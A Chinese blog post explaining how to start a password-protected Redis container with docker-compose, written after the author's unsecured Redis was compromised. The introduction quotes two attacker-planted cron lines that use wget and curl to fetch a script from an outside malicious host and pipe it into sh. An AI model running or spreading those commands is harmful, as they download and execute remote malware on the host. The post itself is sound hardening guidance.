使用 docker-compose 在 Docker 中启动带密码的 Redis

前言

在服务器上使用 docker-compose 启动一个 Docker 中的 Redis 时,配置文件没有生效,Redis 没有加密码,导致 redis 中被写入两条记录:

*/3 * * * * wget -q -O- http://chrome.zer0day.ru:5050/mrx1 | sh
*/1 * * * * curl -fsSL http://chrome.zer0day.ru:5050/mrx1 | sh

还好及时发现,在此记录一下解决过程。

解决过程

方案一

docker-compose.yml 文件中写入下列内容:

redis:
  image: redis
  container_name: my_redis
  command: redis-server /usr/local/etc/redis/redis.conf
  ports:
    - "6379:6379"
  volumes:
    - ./data:/data
    - ./redis.conf:/usr/local/etc/redis/redis.conf

其中:

  1. image 代表镜像名称;
  2. container_name 代表生成的容器名称;
  3. command 代表生成容器后要执行的命令;
  4. ports 将容器内的端口映射到容器外;
  5. volumes 代表共享目录或文件,冒号前为宿主机目录,冒号后为容器内目录。举例:- ./data:/data 意为将当前目录共享到容器内的 /data 目录,相当于做了一个软连接。

注:共享目录或文件时如果宿主机或容器内不存在 docker 会自动帮你创建。 Redis 的密码需要自己在与容器共享的配置 redis.conf 中加入,即更改配置中 requirepass 为:

requirepass yourpassword

docker-compose.yml 所在目录下执行 docker-compose up -d,即可在 Docker 中生成一个带密码的 Redis 容器。

方案二

同样在 docker-compose.yml 中写入下列内容:

redis:
  image: redis
  container_name: my_redis
  command: redis-server --requirepass yourpassword
  ports:
    - "6379:6379"
  volumes:
    - ./data:/data

然后直接在其所在目录下执行 docker-compose up -d,即可在 Docker 中生成一个带密码的 Redis 容器。

总结

方案一的好处是可以更多的定制 Redis 的配置,方案二的好处是可以快速启动一个带免密的 Docker Redis 实例而不需要依赖外部的 redis.conf。

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏糊一笑

centos中docker的安装

1933
来自专栏编程坑太多

跟我一起学docker(二)--核心概念和安装

1814
来自专栏python爬虫实战之路

使用dockerfile创建docker镜像

什么是docker?看这里Docker_入门?只要这篇就够了!纯干货适合0基础小白

1043
来自专栏Janti

每天学一点Docker(3)(制作你的第一个容器)

今天开始制作第一个容器,其实很简单 首先你要准备这些条件: 1.一个Ubuntu系统 2.这个系统能够联网,最起码ping www.baidu.com是可以的 ...

3927
来自专栏漫漫全栈路

Docker渐入佳境

以网站服务为例,一般需要80端口,那么如何使容器的端口能被外界访问得到呢?这就要用到容器的端口映射。

2467
来自专栏bboysoul

使用docker搭建zabbix

再次之前我们要知道zabbix的主要架构是怎样的,zabbix有一个server端是最主要的,主要是用来收集agent传来的数据然后进行处理等一系列操作,当然有...

1883
来自专栏魏艾斯博客www.vpsss.net

windows 下如何生成 tar 或 gz 压缩包

2554
来自专栏Bug生活2048

mac下利用docker部署个mysql

这个不多说,直接到官网下载对应的版本安装即可,在配置docker时最好切换阿里云镜像,具体步骤不细说,可参考之前的文章 .net core开发环境搭建中有提到如...

4432
来自专栏A周立SpringCloud

Docker系列教程02-Docker安装(CentOS7/Ubuntu/macOS/Windows)

第二章 Docker安装 2.1 CentOS 2.1.1 系统要求 CentOS 7或更高版本 centos-extras 仓库必须处于启用状态,该仓库默认启...

42012

Docker Hub:保存并分享你的Docker镜像

Docker Hub 是一个基于云的注册服务网站,提供容器应用或容器服务的构建功能。

2446

扫码关注云+社区

领取腾讯云代金券